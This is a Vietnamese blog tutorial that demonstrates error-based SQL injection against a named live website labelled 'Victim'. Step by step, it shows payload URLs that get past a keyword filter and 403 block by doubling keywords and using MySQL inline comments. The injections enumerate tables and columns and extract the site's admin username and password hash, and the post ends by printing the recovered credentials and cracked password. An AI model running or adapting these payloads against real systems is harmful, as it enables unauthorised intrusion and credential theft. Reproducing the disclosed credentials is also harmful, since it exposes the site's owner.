Breaking News
Blog đang trong quá trình xây dựng!
Thứ Bảy, 9 tháng 11, 2013

[TUT] Bypass Filter + 403 Forbidden SQL Injection

Victim :
http://spaadam.com/vi/news.php?newsid=108

Check lỗi :
http://spaadam.com/vi/news.php?newsid=108'
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
-> Lỗi rồi nhé ! tiếp tục order
Quote:
http://spaadam.com/vi/news.php?newsid=108 order by 1-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'der by 1-- -' at line 1
đến đây ta thấy ! Filter đã được sử dụng , và nó đã cắn mất kí tự "or" trong "order by 1-- -" mà ta nhập

nó cắn mất thì ta thêm lại. bypass nó như sau :
Quote:
http://spaadam.com/vi/news.php?newsid=108 oorrder by 1-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1-- -' at line 1
-> Vẫn không được rồi . Bypass /*!*/ tiếp nhé :
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 1-- -
Quote:
Một số hình ảnh mới về Spa Adam
Posted on 2012-03-15 14:37:25
-> Okay ! không lỗi rồi. giờ ta tiếp tục order ( đoạn này mình không giải thích nhiều, ai chưa hiểu thì xem tut cơ bản hơn nữa ) :
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 7-- -
Quote:
Unknown column '7' in 'order clause'
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 6-- -
Quote:
Một số hình ảnh mới về Spa Adam
Posted on 2012-03-15 14:37:25
-> Có 6 column .

Ta tiếp tục UNION SELECT -> tìm cột lỗi để khai thác
Quote:
http://spaadam.com/vi/news.php?newsid=-108 UNION SELECT 1,2,3,4,5,6-- -
Quote:
403 Forbidden
Bypas bằng /*!UNION*/
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNION*/ SELECT 1,2,3,4,5,6-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5,6-- -' at line 1
Có lẽ nào em nó đã cắn mất UNION SELECT của mình !

Bypass:
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -
Ô_Ô không thấy cái gì rồi ! giờ thay 108 bằng Null nhé 
Quote:
http://spaadam.com/vi/news.php?newsid=Null /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -
-> Vô nghĩa !

Tiếp tục thử thay số bằng Null ( 1,2,3,4,5,6 = Null,Null,Null,Null,Null,Null )
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,Null,Null-- -
Đối với việc thay số bằng nulll như thế này ! ta có thể khai thác thử từng vị trí Null khác nhau để tìm vị trí Null lỗi rồi tiếp tục khai thác .
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,version(),Null-- -
Vị trí Null số 5 đã lỗi và xuất hiện kết quả nhưng đã bị mất ở đầu .
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.9-MariaDB-mariadb102' at line 1
giờ dùng cách sau +kết hợp bypass để nó ra đầy cmn đủ 
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!concat(0x7c,version())*/,Null-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|5.2.9-MariaDB-mariadb102' at line 1
có version rồi ! giờ ta tiếp tục khai thác table + kết hợp bypass /*!*/ ở Null thứ 5
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!from*/ information_schema./*!tables*/ where table_schema=database()-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near './*!tables*/ where table_schema=databe()-- -' at line 1
Nó cắn đi khá nhiều "from information_schema" và cả as của database

như lúc order by với union. nó cắn ở đâu thì ta vá lại ở đó :
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ information_schema./*!tables*/ where table_schema=databaasse()-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'infmation_schema./*!tables*/ where table_schema=database()-- -' at line 1
bypass được 2 thứ . kết quả show ra còn 1 thứ nữa. mất or trong từ information

Nào cùng vá lại nó :
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ infoorrmation_schema./*!tables*/ where table_schema=databaasse()-- -
Quote:
Unknown column 'admin' in 'where clause'
Ra table admin luôn. khỏi cần dùng limit để tìm em nó 

tiếp tục khai thác column trong table admin
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!column_name*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -

Quote:
Posted on
Nhưng Khi :

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!group_concat(column_name)*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'username,password' at line 1
okê rồi ! giờ đã có 2 column cần khai thác. giờ tiến tới data

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ admin-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Không ra cái gì . Bị cắn phần đuôi . chắc là đã mất từ admin. vá cả cái admin

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ adadminmin-- -

Quote:
Unknown column 'admin' in 'where clause'
Nick admin là admin

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!password*/,Null /*!frfromom*/ adadminmin-- -
Quote:
Unknown column 'pswd' in 'field list'
pswd hiện ra nhưng đây không phải password của nó ! 

mà là password đã bị nó cắn thôi. giờ TÁT vỡ mồm nó vì cái tội cắn từ đầu đến cuối nhé
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!paassswoorrd*/,Null /*!frfromom*/ adadminmin-- -
Quote:
Unknown column '5f8f9e33bb5e13848af2622b66b2308c' in 'where clause'
Nick: admin
Pass: vietnam (5f8f9e33bb5e13848af2622b66b2308c)

0 nhận xét:

Đăng nhận xét